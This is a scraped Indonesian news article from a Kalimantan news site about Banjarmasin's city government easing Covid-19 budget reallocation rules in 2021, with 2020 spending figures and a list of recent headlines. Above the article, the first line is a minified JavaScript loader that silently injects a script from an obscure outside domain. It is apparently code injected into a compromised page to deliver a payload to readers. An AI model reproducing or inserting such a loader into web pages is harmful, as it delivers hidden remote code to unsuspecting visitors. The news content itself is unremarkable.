(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Ini Kata Sekda Banjarmasin Soal Refocusing Anggaran Covid-19


KANALKALIMANTAN.COM, BANJARMASIN – Refocusing atau realokasi anggaran terus dilakukan Satuan Perangkat Kerja Daerah (SKPD) di lingkungan Pemko Banjarmasin dalam penanganan Covid-19. Baik itu di bidang kesehatan maupun pemulihan ekonomi daerah.

Namun hal tersebut tak perlu dilakukan sejak memasuki tahun 2021. Pasalnya Pemko Banjarmasin hanya mengimbau saja, dalam artian setiap SKPD tidak lagi diharuskan menyisihkan anggaran masing-masing untuk ditempatkan dalam dana Belanja Tidak Terduga (BTT).

Pelaksana Harian (Plh) Sekretaris Daerah (Sekda) Kota Banjarmasin, Mukhyar mengatakan, pihaknya hanya mengimbau kegiatan yang tidak prioritas atau tidak bisa dikerjakan dalam waktu dekat di tiap SKPD untuk dikembalikan saja.

“Karena bisa untuk menghindari pembiayaan lebih anggaran SKPD,” ujar Mukhyar.

Mukhyar menyebutkan beberapa anggaran kegiatan yang bisa direalokasi guna penanganan Covid-19. Contohnya anggaran perjalanan dinas dan anggaran konsumsi pertemuan-pertemuan atau rapat.

Mengingat di masa pandemi ini kegiatan dan aktivitas yang dilakukan masyarakat dibatasi.

Sementara itu, untuk anggaran pengerjaan fisik yang tidak mungkin terkejar untuk dilaksanakan, juga lebih baik ditunda.

Termasuk rencana pembangunan yang belum masuk tahap proses lelang. Pasalnya sudah dapat dipastikan proses itu akan memakan waktu cukup lama.

“Tapi kalau SKPD itu merasa mampu, silahkan saja. Namun kita lihat nanti di akhir anggaran,” ucap Mukhyar.

Mukhyar menambahkan, dengan tidak adanya lagi keharusan SKPD melakukan realokasi anggaran, berarti dana yang tersedia untuk penanganan Covid-19 pada 2021 lebih kecil dari tahun sebelumnya.
Kendati demikian, hal tersebut tidaklah menjadi permasalah serius.

Adapun penanganan Covid-19 juga sudah tidak lagi sebesar di tahun 2020. Contohnya seperti rumah karantina sudah tidak adanya lagi sehingga membuat beban biaya juga berkurang.

“Sekarang anggaran cuma kita fokuskan untuk biaya operasional penerapan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) skala mikro,” tuntasnya.
Diketahui sebelumnya, Pemko Banjarmasin mengalokasikan anggaran sekitar Rp 111 miliar pada tahun 2020 untuk penanganan Covid-19.

Dari dana itu, terserap sekitar Rp 99 miliar. Artinya terdapat sisa anggaran sekitar Rp 12 miliar. (kanalkalimantan.com/tius)

Reporter: Tius
Editor : kk


Desy Arfianty

Recent Posts

Kota Banjarbaru Catat Investasi Triwulan I 2024 Senilai Rp204 Miliar

KANALKALIMANTAN.COM, BANJARBARU - Nilai investasi di Kota Banjarbaru terus mengalir dari tahun ke tahun. Setidaknya… Read More

52 menit ago

Bela Palestina, Mahasiswa-Civitas Akademika Universitas Muhammadiyah Banjarmasin Gelar Aksi

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rektor Perguruan Tinggi Muhammadiyah dan Aisyiyah (FR PTMA) secara serentak menggelar… Read More

1 jam ago

Hadiri Halalbihalal Bersama Potensi Kesejahteraan Sosial, Bupati Banjar Dapat Kejutan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mendapat kejutan berupa ucapan selamat ulang tahun… Read More

2 jam ago

Puluhan Calon PPK di Banjarbaru Ikuti Tes Tertulis

KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang calon Panitia Pemilihan Kecamatan (PPK) untuk Pilkada 2024 di Kota… Read More

2 jam ago

Diskominfo Banjarbaru Gelar Bimtek Sistem Informasi Publik

KANALKALIMANTAN.COM, BANJARBARU - Dinas Komunikasi dan Informatika (Diskominfo) Kota Banjarbaru menggelar bimbingan teknis Sistem Informasi… Read More

4 jam ago

Helpdesk Pilkada 2024 Dibuka, Tidak Ada Paslon Perseorangan ke KPU Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Persiapan pencalonan bakal pasangam calon (Paslon) melalui jalur dukungan perseorangan telah dibuka… Read More

6 jam ago

This website uses cookies.